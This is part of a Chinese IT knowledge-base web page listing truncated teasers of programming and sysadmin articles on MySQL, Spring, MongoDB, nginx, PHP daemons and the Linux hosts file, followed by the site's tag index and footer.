                                    <div>1、mysql不建议在root用户下运行 
  
2、出现服务启动不了,111错误,注意要用chown来赋予权限, 我在root用户下装的mysql,我就把usr/share/mysql/mysql.server复制到/etc/init.d/mysqld, (同时把my-huge.cnf复制/etc/my.cnf)  
chown -R cc /etc/init.d/mysql</div>
                                </li>
                                <li><a href="/article/2436.htm"
                                       title="Sublime Text 3 配置" target="_blank">Sublime Text 3 配置</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE/1.htm">配置</a><a class="tag" taget="_blank" href="/search/Sublime+Text/1.htm">Sublime Text</a>
                                    <div>Sublime Text 3 配置解释(默认){// 设置主题文件“color_scheme”: “Packages/Color Scheme – Default/Monokai.tmTheme”,// 设置字体和大小“font_face”: “Consolas”,“font_size”: 12,// 字体选项:no_bold不显示粗体字,no_italic不显示斜体字,no_antialias和</div>
                                </li>
                                <li><a href="/article/2563.htm"
                                       title="MySQL server has gone away 问题的解决方法" target="_blank">MySQL server has gone away 问题的解决方法</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a>
                                    <div>MySQL server has gone away 问题解决方法,需要的朋友可以参考下。 
应用程序(比如PHP)长时间的执行批量的MYSQL语句。执行一个SQL,但SQL语句过大或者语句中含有BLOB或者longblob字段。比如,图片数据的处理。都容易引起MySQL server has gone away。 今天遇到类似的情景,MySQL只是冷冷的说:MySQL server h</div>
                                </li>
                                <li><a href="/article/2690.htm"
                                       title="javascript/dom:固定居中效果" target="_blank">javascript/dom:固定居中效果</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a>
                                    <div><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml&</div>
                                </li>
                                <li><a href="/article/2817.htm"
                                       title="使用 Spring 2.5 注释驱动的 IoC 功能" target="_blank">使用 Spring 2.5 注释驱动的 IoC 功能</a>
                                    <span class="text-muted">e200702084</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/bean/1.htm">bean</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86/1.htm">配置管理</a><a class="tag" taget="_blank" href="/search/IOC/1.htm">IOC</a><a class="tag" taget="_blank" href="/search/Office/1.htm">Office</a>
                                    <div>使用 Spring 2.5 注释驱动的 IoC 功能 
 developerWorks 
 
 
文档选项 
 将打印机的版面设置成横向打印模式 
 
打印本页 
 将此页作为电子邮件发送 
 
将此页作为电子邮件发送 
 
级别: 初级 
 
陈 雄华 (quickselect@163.com), 技术总监, 宝宝淘网络科技有限公司 
 
2008 年 2 月 28 日 
 
 &nb</div>
                                </li>
                                <li><a href="/article/2944.htm"
                                       title="MongoDB常用操作命令" target="_blank">MongoDB常用操作命令</a>
                                    <span class="text-muted">geeksun</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>1.   基本操作 
db.AddUser(username,password)               添加用户 
db.auth(usrename,password)      设置数据库连接验证 
db.cloneDataBase(fromhost)     </div>
                                </li>
                                <li><a href="/article/3071.htm"
                                       title="php写守护进程(Daemon)" target="_blank">php写守护进程(Daemon)</a>
                                    <span class="text-muted">hongtoushizi</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a>
                                    <div>转载自: http://blog.csdn.net/tengzhaorong/article/details/9764655 
  
守护进程(Daemon)是运行在后台的一种特殊进程。它独立于控制终端并且周期性地执行某种任务或等待处理某些发生的事件。守护进程是一种很有用的进程。php也可以实现守护进程的功能。 
  
1、基本概念 
  &nbs</div>
                                </li>
                                <li><a href="/article/3198.htm"
                                       title="spring整合mybatis,关于注入Dao对象出错问题" target="_blank">spring整合mybatis,关于注入Dao对象出错问题</a>
                                    <span class="text-muted">jonsvien</span>
<a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/bean/1.htm">bean</a><a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a><a class="tag" taget="_blank" href="/search/prototype/1.htm">prototype</a>
                                    <div>今天在公司测试功能时发现一问题: 
先进行代码说明: 
1,controller配置了Scope="prototype"(表明每一次请求都是原子型) 
   @resource/@autowired service对象都可以(两种注解都可以)。 
2,service 配置了Scope="prototype"(表明每一次请求都是原子型) 
</div>
                                </li>
                                <li><a href="/article/3325.htm"
                                       title="对象关系行为模式之标识映射" target="_blank">对象关系行为模式之标识映射</a>
                                    <span class="text-muted">home198979</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E5%BA%94%E7%94%A8/1.htm">企业应用</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%B1%A1%E5%85%B3%E7%B3%BB/1.htm">对象关系</a><a class="tag" taget="_blank" href="/search/%E6%A0%87%E8%AF%86%E6%98%A0%E5%B0%84/1.htm">标识映射</a>
                                    <div>HELLO!架构 
  
一、概念 
identity Map:通过在映射中保存每个已经加载的对象,确保每个对象只加载一次,当要访问对象的时候,通过映射来查找它们。其实在数据源架构模式之数据映射器代码中有提及到标识映射,Mapper类的getFromMap方法就是实现标识映射的实现。 
  
  
二、为什么要使用标识映射? 
在数据源架构模式之数据映射器中 
//c</div>
                                </li>
                                <li><a href="/article/3452.htm"
                                       title="Linux下hosts文件详解" target="_blank">Linux下hosts文件详解</a>
                                    <span class="text-muted">pda158</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                                    <div> 1、主机名:     无论在局域网还是INTERNET上,每台主机都有一个IP地址,是为了区分此台主机和彼台主机,也就是说IP地址就是主机的门牌号。     公网:IP地址不方便记忆,所以又有了域名。域名只是在公网(INtERNET)中存在,每个域名都对应一个IP地址,但一个IP地址可有对应多个域名。     局域网:每台机器都有一个主机名,用于主机与主机之间的便于区分,就可以为每台机器设置主机</div>
                                </li>
                                <li><a href="/article/3579.htm"
                                       title="nginx配置文件粗解" target="_blank">nginx配置文件粗解</a>
                                    <span class="text-muted">spjich</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a>
                                    <div>#运行用户#user  nobody;#启动进程,通常设置成和cpu的数量相等worker_processes  2;#全局错误日志及PID文件#error_log  logs/error.log;#error_log  logs/error.log  notice;#error_log  logs/error.log  inf</div>
                                </li>
                                <li><a href="/article/3706.htm"
                                       title="数学函数" target="_blank">数学函数</a>
                                    <span class="text-muted">w54653520</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>public  
class  
S {       
     
// 传入两个整数,进行比较,返回两个数中的最大值的方法。   
     
public  
int  
get( 
int  
num1, 
int  
nu</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>